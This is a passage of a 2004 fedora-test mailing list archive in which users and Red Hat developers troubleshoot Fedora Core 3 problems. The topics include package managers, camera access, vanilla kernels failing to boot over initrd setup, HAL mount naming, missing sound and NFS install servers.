http://enigmail.mozdev.org iD8DBQFBkkeJickK29LSyG8RAn3VAKDdyDBRWTboSffiDlIen4bHDFaF+ACePgHB CLwQreU437lktFRZtjnYzEY= =VRWp -----END PGP SIGNATURE----- -------------- next part -------------- A non-text attachment was scrubbed... Name: trulsg.vcf Type: text/x-vcard Size: 237 bytes Desc: not available URL: From rshewan at lio.aacisd.com Wed Nov 10 17:00:02 2004 From: rshewan at lio.aacisd.com (Rob Shewan) Date: Wed, 10 Nov 2004 12:00:02 -0500 Subject: yum problems In-Reply-To: <604aa791041110084039501d45@mail.gmail.com> References: <604aa791041110084039501d45@mail.gmail.com> Message-ID: <41924912.1060203@lio.aacisd.com> Just a personal view. I subscribe to fedora-annouce list. I would have hoped that someone could drop a note to that list upon schedule changes and releases. Additionally you might throw in reminders to help us folks that "test" and submit bugs but do not have the time to read everything on the fedora-test mailing list. In my opinion, it is very easy to miss an announcement on fedora-test. I know everyone is busy and this is one more thing to do but it would help. The web page changes do not result in an "event" such as an email notification. Maybe this is asking to much. Jeff Spaleta wrote: > On Wed, 10 Nov 2004 16:52:31 +0100 (CET), nodata > wrote: > > I think the poster was more concerned about the volunteers who have > spent > > their time testing the FC3-test series and would now like to stop > testing > > and stay on FC3 final, at least for a while. > > The public schedule exists... development freeze for fc3 was listed. > Are you saying that people need more than a schedule of development > tree milestones? > > > -jef"time to implement color coded rawhide alert status... and to keep > that status pegged at red"spaleta > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > From barryn at pobox.com Wed Nov 10 17:34:41 2004 From: barryn at pobox.com (Barry K. Nathan) Date: Wed, 10 Nov 2004 09:34:41 -0800 Subject: yum problems In-Reply-To: <64704.213.164.3.90.1100101951.squirrel@213.164.3.90> References: <1100099817.12368.22.camel@opus.phy.duke.edu> <41923352.20207@lio.aacisd.com> <1100101174.12368.37.camel@opus.phy.duke.edu> <64704.213.164.3.90.1100101951.squirrel@213.164.3.90> Message-ID: <20041110173441.GA1743@ip68-4-98-123.oc.oc.cox.net> On Wed, Nov 10, 2004 at 04:52:31PM +0100, nodata wrote: > I think the poster was more concerned about the volunteers who have spent > their time testing the FC3-test series and would now like to stop testing > and stay on FC3 final, at least for a while. > > I don't remember any post on the fedora website for instructions on how to > do that, nor on this list. The official way to do that is to reinstall from scratch with the final release. (Ok, I guess nothing with Fedora Core is really "official", but this particular procedure was official back when Red Hat Linux was still official and supported and all that.) -Barry K. Nathan From michal at harddata.com Wed Nov 10 17:40:47 2004 From: michal at harddata.com (Michal Jaegermann) Date: Wed, 10 Nov 2004 10:40:47 -0700 Subject: apt (was: gtkam missing) In-Reply-To: <1100095082.2393.6.camel@localhost.localdomain>; from temlakos@comcast.net on Wed, Nov 10, 2004 at 08:58:02AM -0500 References: <1100081370.25905.2.camel@datacc> <1100090133.3546.5.camel@home.gnome.no> <1100095082.2393.6.camel@localhost.localdomain> Message-ID: <20041110104047.B22068@mail.harddata.com> On Wed, Nov 10, 2004 at 08:58:02AM -0500, Temlakos wrote: > > And when will *apt* distribute with Fedora? The best package manager > ever invented, the best solution to the RPM dependency problem I've ever > seen Don't get overboard here. Apt is doing extremely poor job if an installation is not "absolutely depency clean" and the last thing in practice may be not happen sometimes for multiple reasons. I have seen cases where apt insisted on deleting half of packages because of something obscure and unimportant. On some level it was "right" at the given moment but also totally unhelpful and allowing it to do what it wanted to do would be very destructive. Michal From temlakos at comcast.net Wed Nov 10 17:45:58 2004 From: temlakos at comcast.net (Temlakos) Date: Wed, 10 Nov 2004 12:45:58 -0500 Subject: apt (was: gtkam missing) In-Reply-To: <20041110104047.B22068@mail.harddata.com> References: <1100081370.25905.2.camel@datacc> <1100090133.3546.5.camel@home.gnome.no> <1100095082.2393.6.camel@localhost.localdomain> <20041110104047.B22068@mail.harddata.com> Message-ID: <1100108758.4174.11.camel@localhost.localdomain> Perhaps. I've learned that if apt insists on removing a package, I can wait a week or two and the removal recommendations will go away--probably replaced by upgrade recommendations on some of the dependent packages. Temlakos On Wed, 2004-11-10 at 12:40, Michal Jaegermann wrote: > On Wed, Nov 10, 2004 at 08:58:02AM -0500, Temlakos wrote: > > > > And when will *apt* distribute with Fedora? The best package manager > > ever invented, the best solution to the RPM dependency problem I've ever > > seen > > Don't get overboard here. Apt is doing extremely poor job if > an installation is not "absolutely depency clean" and the last > thing in practice may be not happen sometimes for multiple reasons. > I have seen cases where apt insisted on deleting half of packages > because of something obscure and unimportant. On some level it > was "right" at the given moment but also totally unhelpful and > allowing it to do what it wanted to do would be very destructive. > > Michal From mike at bristolreccc.co.uk Wed Nov 10 17:55:09 2004 From: mike at bristolreccc.co.uk (mike) Date: Wed, 10 Nov 2004 17:55:09 +0000 Subject: gtkam missing - perms prob In-Reply-To: <604aa7910411100617340e2af@mail.gmail.com> References: <1100081370.25905.2.camel@datacc> <1100090133.3546.5.camel@home.gnome.no> <1100095082.2393.6.camel@localhost.localdomain> <604aa7910411100617340e2af@mail.gmail.com> Message-ID: <1100109309.3950.2.camel@datacc> On Wed, 2004-11-10 at 09:17 -0500, Jeff Spaleta wrote: > On Wed, 10 Nov 2004 08:58:02 -0500, Temlakos wrote: > > I see! Or, I think I see. Now why didn't the release notes specifically > > *say* that gthumb performs all the functions of the old gtkam? (Does > > gthumb have a plug-in for gimp?) after testing gthumb it fails as a user with *** Error *** An error occurred in the io-library ('Could not claim the USB device'): Could not claim interface 0 (Operation not permitted). Make sure no other program or kernel module (such as sdc2xx, stv680, spca50x) is using the device and you have read/write access to the device. *** Error (-53: 'Could not claim the USB device') *** (gphoto2 fails as well) As root gphoto2 works (as does gthumb) From skvidal at phy.duke.edu Wed Nov 10 18:10:28 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Wed, 10 Nov 2004 13:10:28 -0500 Subject: apt (was: gtkam missing) In-Reply-To: <1100108758.4174.11.camel@localhost.localdomain> References: <1100081370.25905.2.camel@datacc> <1100090133.3546.5.camel@home.gnome.no> <1100095082.2393.6.camel@localhost.localdomain> <20041110104047.B22068@mail.harddata.com> <1100108758.4174.11.camel@localhost.localdomain> Message-ID: <1100110228.12368.75.camel@opus.phy.duke.edu> On Wed, 2004-11-10 at 12:45, Temlakos wrote: > Perhaps. I've learned that if apt insists on removing a package, I can > wait a week or two and the removal recommendations will go > away--probably replaced by upgrade recommendations on some of the > dependent packages. > Which is a good reason to not allow package removals in any action other than an erase command. -sv From shrek-m at gmx.de Wed Nov 10 18:28:02 2004 From: shrek-m at gmx.de (shrek-m at gmx.de) Date: Wed, 10 Nov 2004 19:28:02 +0100 Subject: gtkam missing - perms prob In-Reply-To: <1100109309.3950.2.camel@datacc> References: <1100081370.25905.2.camel@datacc> <1100090133.3546.5.camel@home.gnome.no> <1100095082.2393.6.camel@localhost.localdomain> <604aa7910411100617340e2af@mail.gmail.com> <1100109309.3950.2.camel@datacc> Message-ID: <41925DB2.6050208@gmx.de> mike wrote: >On Wed, 2004-11-10 at 09:17 -0500, Jeff Spaleta wrote: > > >>On Wed, 10 Nov 2004 08:58:02 -0500, Temlakos wrote: >> >> >>>I see! Or, I think I see. Now why didn't the release notes specifically >>>*say* that gthumb performs all the functions of the old gtkam? (Does >>>gthumb have a plug-in for gimp?) >>> >>> > >after testing gthumb it fails as a user with >*** Error *** >An error occurred in the io-library ('Could not claim the USB device'): >Could not claim interface 0 (Operation not permitted). Make sure no >other program or kernel module (such as sdc2xx, stv680, spca50x) is >using the device and you have read/write access to the device. >*** Error (-53: 'Could not claim the USB device') *** > > plugin the camera 1. window: cancel (if i select here "import" i get the same error-message) 2. window: import (once again) gThumb has the usb-device and the photos works here as user $ /sbin/lsusb | grep Olympus Bus 002 Device 005: ID 07b4:0105 Olympus Optical Co., Ltd Camedia C-700/C-3040/C-4000 Zoom Camera -- shrek-m From ron.flory at adtran.com Wed Nov 10 18:34:08 2004 From: ron.flory at adtran.com (RON FLORY) Date: Wed, 10 Nov 2004 12:34:08 -0600 Subject: FC3 does not boot with an own vanilla kernel In-Reply-To: <1100098540.4084.18.camel@laptop.fenrus.org> References: <1100098540.4084.18.camel@laptop.fenrus.org> Message-ID: <41925F20.60505@adtran.com> > On Wed, 2004-11-10 at 15:52 +0100, Joachim Backes wrote: > >>Hi, >> >>I made an update from FC2 to FC3, and now, my machine will no more boot: >>The boot stops when executing the init scripts: >>having problems with the /dev directory (cannot open /dev//null and/or >>/dev//console). I'm not using the FC3 kernel, but the vanilla kernel >>2.6.9. When using the FC3 kernel, all is OK. I think, it has >>to do with udev (in my vanilla kernel, hotplug is configered >>correctly!). I've seen this as well- have been unable to get FC3* to run under a vanilla kernel.org kernel. When i disable the 'quiet' flag in grub, the boot process aborts with something like 'unable to open /dev/console'. I never reported it because I thought i was missing something obvious- i guess I'm not the only one. Arjan van de Ven wrote: > did you also make an initrd? > > (if you used "make install" in the kernel tree one should have been > created for you automatically, as well as it being added to grub > automatically) I know I did when I tried it, except i run mkinitrd manually. Could this have something to do with udev? I noticed that if I enabled the deprecated /dev FS, it broke in a slightly different manner. I suspect the problem is the FC3 environment expects a magic combination of kernel options- I just have not been able to stumble upon them yet... ron From arjanv at redhat.com Wed Nov 10 18:37:51 2004 From: arjanv at redhat.com (Arjan van de Ven) Date: Wed, 10 Nov 2004 19:37:51 +0100 Subject: FC3 does not boot with an own vanilla kernel In-Reply-To: <41925F20.60505@adtran.com> References: <1100098540.4084.18.camel@laptop.fenrus.org> <41925F20.60505@adtran.com> Message-ID: <1100111871.4084.23.camel@laptop.fenrus.org> On Wed, 2004-11-10 at 12:34 -0600, RON FLORY wrote: > I know I did when I tried it, except i run mkinitrd manually. > > Could this have something to do with udev? I noticed that if > I enabled the deprecated /dev FS, it broke in a slightly different > manner. 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Is the S3 Trio listed? | | | | Have you tried to add the desired resolution into your xorg.conf file? | | Say "1024x768" "800x600" in front of the "640x480" entry? | | | | Jim | | | | Monitor and Graphics | | Video Integration Integrated | | Installed Video Memory 4 MB | | Included Video Card Graphic card - AGP - S3 Trio3D integrated | | | | | |> | |> Regards, | |> Truls | | | | | Thanks for feedback. | | Yes the correct video card is Trio 64 3D and it is listed. So I went | system settings ==> display and set the correct video card. | | Then I got an error message saying that the system would log out of X | and correct an error. It never came back. So I rebooted but now the | boot sequence goes to: | | Starting udev: (ok) | Initializing hardware..... storage network audio done (ok) | Configuring kernel parameters: | | and there it hangs unresponsive. | | Probably I have to start the install process over again? | | Regards, | Truls I found that when hittin ctrl-C after the system hangs it actually continues to boot and gives me a command line. The problem is that system settings - display did not update my xorg.conf file correctly. The driver name for the video card was not replaced with the corect one but ended up as mix of "Vesa" and "S3Trio3D" I tried to correct this using vi but am not able to open the file in edit modus. I'm told it is a read only file. Any suggestions? Truls -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFBkmhYickK29LSyG8RAvjrAJ9HlakoyIYTHLpZEZJRIpu17GFj1wCfUEZX Jo3Ich7M5rQSpAkEgK2hobo= =BLUf -----END PGP SIGNATURE----- -------------- next part -------------- A non-text attachment was scrubbed... Name: trulsg.vcf Type: text/x-vcard Size: 237 bytes Desc: not available URL: From holt at sgi.com Wed Nov 10 19:29:07 2004 From: holt at sgi.com (Robin Holt) Date: Wed, 10 Nov 2004 13:29:07 -0600 Subject: FC3 - wrong screen resolution In-Reply-To: <41926858.80506@broadpark.no> References: <41912D99.7040809@broadpark.no> <4191763E.3010604@insight.rr.com> <41924789.8050401@broadpark.no> <41926858.80506@broadpark.no> Message-ID: <20041110192907.GA29262@lnx-holt.americas.sgi.com> On Wed, Nov 10, 2004 at 08:13:28PM +0100, Truls Gulbrandsen wrote: > I tried to correct this using vi but am not able to open the file in > edit modus. I'm told it is a read only file. > > Any suggestions? mount -o remount,rw / mount -o remount,ro / > > Truls > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.2.4 (GNU/Linux) > Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org > > iD8DBQFBkmhYickK29LSyG8RAvjrAJ9HlakoyIYTHLpZEZJRIpu17GFj1wCfUEZX > Jo3Ich7M5rQSpAkEgK2hobo= > =BLUf > -----END PGP SIGNATURE----- > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list From ron.flory at adtran.com Wed Nov 10 19:38:36 2004 From: ron.flory at adtran.com (RON FLORY) Date: Wed, 10 Nov 2004 13:38:36 -0600 Subject: FC3 does not boot with an own vanilla kernel In-Reply-To: <1100111871.4084.23.camel@laptop.fenrus.org> References: <1100111871.4084.23.camel@laptop.fenrus.org> Message-ID: <41926E3C.6050403@adtran.com> > On Wed, 2004-11-10 at 12:34 -0600, RON FLORY wrote: > >> I know I did when I tried it, except i run mkinitrd manually. >> >> Could this have something to do with udev? I noticed that if >>I enabled the deprecated /dev FS, it broke in a slightly different >>manner. I suspect the problem is the FC3 environment expects a >>magic combination of kernel options- I just have not been able to >>stumble upon them yet... Arjan van de Ven wrote: > hmm you need tmpfs enabled but beyond that... can't really think of > anything. yeah, I just tried it again. Looking at .config, tmpfs is definitely enabled, but the boot process aborts with: "Warning: unable to open an initial console." and thats the last thing it does. I've tried this on perhaps 3 different makes/models of x86 systems, all with same results. In each case 'console' is either local laptop or generic x86 HW. I know this will be simple when it finally makes sense... ron P.S. Also, what has to be enabled in the kernel to support the grub 'root=LABEL=/' directive? I always have to supply literal 'root=/dev/hdax' with kernel.org kernels. Thanks. ron From thomasz at hostmaster.org Wed Nov 10 19:42:11 2004 From: thomasz at hostmaster.org (Thomas Zehetbauer) Date: Wed, 10 Nov 2004 20:42:11 +0100 Subject: FC3 does not boot with an own vanilla kernel In-Reply-To: <1100098374.4490.13.camel@sunny.rhrk.uni-kl.de> References: <1100098374.4490.13.camel@sunny.rhrk.uni-kl.de> Message-ID: <1100115731.9579.19.camel@hostmaster.org> I hit the same problem when updating from dev to udev the first time, just run /sbin/udevstart to create the necessary /dev entries before you reboot. You will likely need to umount /dev if you boot an FC kernel though. Tom -- T h o m a s Z e h e t b a u e r ( TZ251 ) PGP encrypted mail preferred - KeyID 96FFCB89 finger thomasz at hostmaster.org for key Die Post ist eine Institution zur verteuerten Verlangsamung der Briefzustellung mit dem Ziel der Selbstabholung gegen zehnfache Geb?hr. C. Northcote Parkinson -------------- next part -------------- A non-text attachment was scrubbed... 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Just run 'su -' if the latter, then edit your file. ron From mhaney at interactsys.com Wed Nov 10 18:47:59 2004 From: mhaney at interactsys.com (Mark Haney) Date: Wed, 10 Nov 2004 13:47:59 -0500 Subject: Features for FC4 Message-ID: <1100112479.3955.62.camel@marius.asheville.interact> I know it's probably a bit early, but does anyone have a comprehensive set of features/ideas for FC4? So far FC3 is by far the best distro out there, but surely there's been some thought to what's next. Plus, I'd love to help out with it in any way I can, but time prohibits real development, is there any need for documentation? -------------------------------------- Mark Haney Network Administrator InterAct Public Safety Systems mhaney at interactsys.com Fedora Core release 3 (Heidelberg) Kernel: 2.6.9-1.667 GNU/Linux 13:45:07 up 5:48, 1 user, load average: 1.79, 1.93, 2.01 -------------- next part -------------- A non-text attachment was scrubbed... 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You might want to talk to Colin Charles if that is an interest See: http://www.iosn.net/training/end-user-manual/ From david at fubar.dk Wed Nov 10 20:21:49 2004 From: david at fubar.dk (David Zeuthen) Date: Wed, 10 Nov 2004 15:21:49 -0500 Subject: DVD Ram Mounting Issue In-Reply-To: <1099676455.3768.2.camel@apple.bananas.hopto.org> References: <1099676455.3768.2.camel@apple.bananas.hopto.org> Message-ID: <1100118109.7649.3.camel@davidz> On Fri, 2004-11-05 at 17:40 +0000, Si Jones wrote: > Hi All, > Hi, sorry for the lag, > Just a slight issue, when my DVD-RAM disk is mounted (formatted as ext2) > it is ro, so i have to umount it, change fstab and then let it automount > in gnome. > > Is there anyway of checking if it is a ram disk remount it as rw? > Presumably (in a FC3 update), we could just choose not add the 'ro' option that we add for optical drives; e.g. the entry on my laptop would be /dev/hdc /media/cdrecorder auto pamconsole,fscontext=system_u:object_r:removable_t,exec,noauto,managed 0 0 rather than /dev/hdc /media/cdrecorder auto pamconsole,fscontext=system_u:object_r:removable_t,ro,exec,noauto,managed 0 0 Can anyone see an issue (security etc) with doing that? For traditional optical media it will get mounted 'ro' anyway. Cheers, David From lux at diesel-research.com Wed Nov 10 17:20:03 2004 From: lux at diesel-research.com (Kim Lux) Date: Wed, 10 Nov 2004 10:20:03 -0700 Subject: gtkam missing In-Reply-To: <1100095082.2393.6.camel@localhost.localdomain> References: <1100081370.25905.2.camel@datacc> <1100090133.3546.5.camel@home.gnome.no> <1100095082.2393.6.camel@localhost.localdomain> Message-ID: <1100107203.4006.2.camel@localhost.localdomain> I share most of your sentiments. gqview is missing as well. It was my favorite photo organizing tool. I agree that synaptic should be shipping with FC distros. On Wed, 2004-11-10 at 08:58 -0500, Temlakos wrote: > On Wed, 2004-11-10 at 07:35, Kjartan Maraas wrote: > > ons, 10,.11.2004 kl. 10.09 +0000, skrev mike: > > > Is there a reason why gtkam is missing from FC3 > > > > > > Is there a replacement? > > > > > Yes, gthumb replaces gtkam. It uses the same library to access the > > cameras and in addition has a UI based on GTK+-2.x > > > > Cheers > > Kjartan > > I see! Or, I think I see. Now why didn't the release notes specifically > *say* that gthumb performs all the functions of the old gtkam? (Does > gthumb have a plug-in for gimp?) > > Which goes to the serious, and so far not-addressed, issue of > documentation. *Where are the documents* showing quite clearly all the > functions of the packages that distribute with Fedora? How are we > supposed to know that a retained package subsumes the functions of > another if nobody tells us? Think of how many people, not readers of any > of these lists, went out and grabbed gtkam after installing FC3 or one > of its RC's and *didn't have to*! (That might not seem important at > first, but think of the conflicts you set up if you run two apps at once > that each address the same device...!) > > And when will *apt* distribute with Fedora? The best package manager > ever invented, the best solution to the RPM dependency problem I've ever > seen, works like a charm with Fedora, and it's not in the core distro? > Something's wrong here. > -- Kim Lux (Mr.) Diesel Research Inc From david at fubar.dk Wed Nov 10 20:34:04 2004 From: david at fubar.dk (David Zeuthen) Date: Wed, 10 Nov 2004 15:34:04 -0500 Subject: /media directory In-Reply-To: <604aa79104110511421132820c@mail.gmail.com> References: <418BC206.3040902@comcast.net> <604aa79104110511421132820c@mail.gmail.com> Message-ID: <1100118845.7649.14.camel@davidz> On Fri, 2004-11-05 at 14:42 -0500, Jeff Spaleta wrote: > On Fri, 05 Nov 2004 12:10:14 -0600, James W. Bennett > wrote: > > Does anyone know for FC3, can you set your own devices names in the > > /media/ directory. If this has been discussed before, I am sorry I > > missed it. > > I have three cdroms, two being scsi dvd devices. I don't like them being > > named "cdrecorder, cdrecorder1 and cdrecorder2 I would much prefer > > cdrom, cdrom1 and cdrom2. > > Any help is appreciated. > > There is a way to create local hal policy to redefine mountpoints as > well as other aspects of hal. But its going to have a steep-ish > learning curve and I don't know of a good howto for hal yet that would > have simple instructive examples. > Hmm... /etc/fstab references the man page for fstab-sync which in turn references this directory /usr/share/doc/hal-0.4.0/conf/ with a few examples. If people want to contribute examples, I'm happy to take them! > see if you can read through the default matching/naming policy > provided and try to contruct local policy from that. Look at the files > in /usr/share/hal/fdi/ > the file to place local policy should be obvious. > Here's a way to do what James asked for; put the XML below in a file ending in .fdi (you could call it my-cdrom-names.fdi) in the /usr/share/hal/fdi/95userpolicy directory cdrom When you restart hald (with 'service haldaemon restart') you're all set (unless, of course, you already have a disc mounted at that location). You can customize this even further, should you want to (but see below), by matching on other hal properties - check out hal-device-manager from the hal-gnome package for a GUI representation of the properties. > -jef"hopes tools aimed at hal policy creation show up in rawhide very > soon after fc3 release for feedback and testing"spaleta > Cheers, David "hopes that existing software, as well as people, will stop relying on mount point and device names as it is somewhat inherently flawed to do so" Zeuthen :-) From ron.flory at adtran.com Wed Nov 10 20:34:45 2004 From: ron.flory at adtran.com (RON FLORY) Date: Wed, 10 Nov 2004 14:34:45 -0600 Subject: FC3 does not boot with an own vanilla kernel In-Reply-To: <1100116015.4084.25.camel@laptop.fenrus.org> References: <1100116015.4084.25.camel@laptop.fenrus.org> Message-ID: <41927B65.7030401@adtran.com> > On Wed, 2004-11-10 at 13:38 -0600, RON FLORY wrote: > >> P.S. Also, what has to be enabled in the kernel to support >> the grub 'root=LABEL=/' directive? I always have to Arjan van de Ven wrote: > nothing. That is purely done and used by the initrd. > are you *sure* you are properly using an initrd ??? using 2.6.9 from kernel.org: while in /usr/src/linux-2.6.9: mkinitrd -f -v /boot/initrd-2.6.9.img 2.6.9 ?? is this bogus? ron P.S. as a side note, i remember the LABEL=/ directive not working with kernel.org 2.4 kernels since RH8, and i never really *had* to bother with building initrds then. I just assumed some RH proprietary stuff was not present and didn't worry too much about it. ron From arjanv at redhat.com Wed Nov 10 20:47:42 2004 From: arjanv at redhat.com (Arjan van de Ven) Date: Wed, 10 Nov 2004 21:47:42 +0100 Subject: FC3 does not boot with an own vanilla kernel In-Reply-To: <41927B65.7030401@adtran.com> References: <1100116015.4084.25.camel@laptop.fenrus.org> <41927B65.7030401@adtran.com> Message-ID: <1100119661.4084.27.camel@laptop.fenrus.org> > using 2.6.9 from kernel.org: > > while in /usr/src/linux-2.6.9: > > mkinitrd -f -v /boot/initrd-2.6.9.img 2.6.9 ?? > > is this bogus? no but you have to tell your bootloader about it as well otherwise it just goes unused. > > P.S. as a side note, i remember the LABEL=/ directive not > working with kernel.org 2.4 kernels since RH8, and i > never really *had* to bother with building initrds then. > I just assumed some RH proprietary stuff was not present > and didn't worry too much about it. well that's the wrong assumption; LABEL= has never been a kernel side thing... -------------- next part -------------- A non-text attachment was scrubbed... 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Then it looks exactly like the kernel-sourcecode RPMs did. --- Vladimir -- Vladimir G. Ivanovic http://leonora.org/~vladimir Palo Alto, CA 94306 +1 650 678 8014 From ron.flory at adtran.com Wed Nov 10 21:29:34 2004 From: ron.flory at adtran.com (RON FLORY) Date: Wed, 10 Nov 2004 15:29:34 -0600 Subject: FC3 does not boot with an own vanilla kernel In-Reply-To: <1100119661.4084.27.camel@laptop.fenrus.org> References: <1100119661.4084.27.camel@laptop.fenrus.org> Message-ID: <4192883E.8070608@adtran.com> >> using 2.6.9 from kernel.org: >> >> while in /usr/src/linux-2.6.9: >> >> mkinitrd -f -v /boot/initrd-2.6.9.img 2.6.9 ?? >> >> is this bogus? Arjan van de Ven wrote: > no but you have to tell your bootloader about it as well otherwise it > just goes unused. Like? title Test (2.6.9) root (hd0,1) kernel /vmlinuz-2.6.9 ro root=/dev/hda4 rhgb initrd /initrd-2.6.9.img except, substituting 'root=LABEL=/' for 'root=LABEL=/' keeps the bootloader from finding an initrd. As it is now, it just can't find a console ;) Yet, the below target works when the FC3 kernel source is built and prepared with mkinitrd: title Fedora Core (2.6.9-prep) root (hd0,1) kernel /vmlinuz-2.6.9-prep ro root=LABEL=/ rhgb initrd /initrd-2.6.9-prep.img >> P.S. as a side note, i remember the LABEL=/ directive not >> working with kernel.org 2.4 kernels since RH8, and i >> never really *had* to bother with building initrds then. >> I just assumed some RH proprietary stuff was not present >> and didn't worry too much about it. > > > well that's the wrong assumption; LABEL= has never been a kernel side > thing... OK, I believe you- it just an 'unknown' i can work around without too much trouble. I am a bit curious why it behaves differently tho. ron From havill at redhat.com Wed Nov 10 21:56:59 2004 From: havill at redhat.com (Adrian Havill) Date: Wed, 10 Nov 2004 16:56:59 -0500 Subject: Fedora Core 3 Test Update: man-1.5o1-4 Message-ID: <41928EAB.20604@redhat.com> --------------------------------------------------------------------- Fedora Test Update Notification FEDORA-2004-415 2004-11-10 --------------------------------------------------------------------- Product : Fedora Core 3 Name : man Version : 1.5o1 Release : 4 Summary : A set of documentation tools: man, apropos and whatis. Description : The man package includes three tools for finding information and/or documentation about your Linux system: man, apropos, and whatis. The man system formats and displays on-line manual pages about commands or functions on your system. Apropos searches the whatis database (containing short descriptions of system commands) for a string. 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There are many other changes which most people shouldn't notice/see, but I'm especially interested in any problems with respect to people running in non-UTF-8 non-English locales. --------------------------------------------------------------------- * Tue Nov 09 2004 Adrian Havill 1.5o1-4 - upgrade to 1.5o1: update patches, remove gencat iconv and posix page hacks as they're upstream fixed (#128691, #129882) - don't pre-strip binaries prior to -debuginfo pkg - nroff not called with -rLL=, -rLT= parameters which should contain value from get_line_width()/MANWIDTH (#80893) - append ".color" request to groff output to control color/monochrome control via the new man "-b" switch (#120112) - reverse iconv catmsgs for legacy enc support (#138199) Thanks to Andy Shevchenko - update English man page: remove obsolete LESSCHARSET reference (#133521); add -b switch and NOCOLOR conf directive - "Welche Handbuchseite soll angezeigt werden?" (#135995) - make makewhatis cronjob execute before logwatch (#64836) --------------------------------------------------------------------- This update can be downloaded from: http://download.fedora.redhat.com/pub/fedora/linux/core/updates/testing/3/ dc198651c8486655c43493bb39b1b671 SRPMS/man-1.5o1-4.src.rpm 0d9675b6d5e3bfef7615cdab7d8beae6 x86_64/man-1.5o1-4.x86_64.rpm 84e7604bc09dd675650cb57ab7fd763d x86_64/debug/man-debuginfo-1.5o1-4.x86_64.rpm a3772464b0952d8ad238d714681d5bf5 i386/man-1.5o1-4.i386.rpm 621b8894d70dea7826f77a3ea3da4e09 i386/debug/man-debuginfo-1.5o1-4.i386.rpm This update can also be installed with the Update Agent; you can launch the Update Agent with the 'up2date' command. You may need to edit your up2date channels configuration. Within /etc/sysconfig/rhn/sources enable the following line: yum updates-testing http://download.fedora.redhat.com/pub/fedora/linux/core/updates/testing/3/$ARCH --------------------------------------------------------------------- From mattdm at mattdm.org Wed Nov 10 21:57:21 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Wed, 10 Nov 2004 16:57:21 -0500 Subject: problem with kernel-2.6.9-1.1_FC2 initrd - can't recreate, but disturbing Message-ID: <20041110215721.GA25092@jadzia.bu.edu> I installed kernel-2.6.9-1.2_FC2.i686.rpm from updates/testing, to see what would happen. Standard rpm -ivh; nothing fancy. Then, I changed grub.conf to make the new kernel the default, and rebooted. Woops; panic. Turns out the initrd-2.6.9-1.2_FC2.img was completely empty (12k file, properly a gzipped ext2 image, but with no content). I ran mkinitrd by hand, and it worked fine. And then I uninstalled the kernel and reinstalled it, and this time, the initrd image was created just fine. So, maybe it was a bizarre fluke. But I thought I'd mention it just in case anyone else has similar problems.... -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From lux at diesel-research.com Wed Nov 10 22:25:40 2004 From: lux at diesel-research.com (Kim Lux) Date: Wed, 10 Nov 2004 15:25:40 -0700 Subject: KDE Battery Monitor stops updating. Message-ID: <1100125540.5934.5.camel@localhost.localdomain> I'm running FC3 Final as updated from CDROM ISOs. I've got the acpi service running. I'm using an HP zd7000 laptop. I enabled acpi in Control Center. (KDE). Battery monitor usually displays the battery condition for a while and then stops updating- either that or my laptop is getting incredible battery performance ! (I think it is about to die...) It generally stops updating at somewhere between 50 and 70% of the battery capacity remaining. (Roughly 45 min to 1 hour.) One more thing: In config-system-services, the cpuspeed daemon has a status of "stopped". If I restart it it will still say stopped. Any ideas ? -- Kim Lux (Mr.) Diesel Research Inc From ufo at linux.net.mk Wed Nov 10 22:31:17 2004 From: ufo at linux.net.mk (Arangel Angov) Date: Wed, 10 Nov 2004 23:31:17 +0100 Subject: FC3 Final: no sound Message-ID: <419296B5.5000009@linux.net.mk> I upgraded FC3 from FC3rc1 and I don't have sound. The module is snd-via82xx, its loaded and the sound config tool detects it but still I get no sound. When I try to raise the sound on the volume control applet it just goes down. When I try to open the controls I get "Sorry no sound devices/elements found"... I removed the module and inserted it again but no luck. Everything worked fine with rc1. Anyone having similiar problems? Arangel From m_epling at comcast.net Wed Nov 10 22:54:07 2004 From: m_epling at comcast.net (amazing powers of observation) Date: Wed, 10 Nov 2004 16:54:07 -0600 Subject: FC3 Final: no sound In-Reply-To: <419296B5.5000009@linux.net.mk> References: <419296B5.5000009@linux.net.mk> Message-ID: <1100127247.7040.0.camel@x1-6-00-0a-e6-c7-6f-d8> no sound here eathier On Wed, 2004-11-10 at 23:31 +0100, Arangel Angov wrote: > I upgraded FC3 from FC3rc1 and I don't have sound. The module is > snd-via82xx, its loaded and the sound config tool detects it but still I > get no sound. When I try to raise the sound on the volume control applet > it just goes down. When I try to open the controls I get "Sorry no sound > devices/elements found"... I removed the module and inserted it again > but no luck. Everything worked fine with rc1. Anyone having similiar > problems? > > Arangel > From dowdle at montanalinux.org Wed Nov 10 22:55:35 2004 From: dowdle at montanalinux.org (Scott Dowdle) Date: Wed, 10 Nov 2004 14:55:35 -0800 (PST) Subject: Problem with setting up install server In-Reply-To: <20041108211242.68BA77400C@hormel.redhat.com> Message-ID: Gang, Ok, I've done this bunches with previous release but am having a problem with FC3. Setting up an install server to do installs over NFS. Here's what I've done and the problem I'm running into: 1) Copied directory structure of DVD to NFS accessible directory. 2) Took all current update packages and replaced previous versions 3) ran the following command: /usr/lib/anaconda-runtime/genhdlist /mnt/backup/other/install/fc3 (it does its thing) 4) Booted from boot.iso image CD on target install machine. 5) Selected NFS and it went about its merry way. 6) After formatting partitions, and setting up RPM transaction, I get an exit abnormally error message and it shuts down. I don't really see any indicator to what it didn't like. On the ALT-F# screens there is no obvious error other than the normal looking stuff. Any ideas? Oh, BTW, in step #3 above genhdlist still insists on there being a directory named RedHat rather than Fedora. I just create a symlink and it works fine as it has in previous Fedora releases. Given the movement away from the "RedHat" name to the "Fedora" name, you might at this to your list of name replacments. For those interested in install and update servers (although nothing new here really), I always keep my install directory tree updated. I noticed the new yum createrepo command, and I use my install directory tree for updates too. Whenever I replace an old package with an update, I rerun the genhdlist and createrepo command and new installs are up2date at install. This is a great timesaver (to be up2date at install) and I'd rather avoid installing via CD if I can! HELP! Feel free to replay directly to me as well as to the list as I get the digest: dowdle at montanalinux.org Thanks in advance. 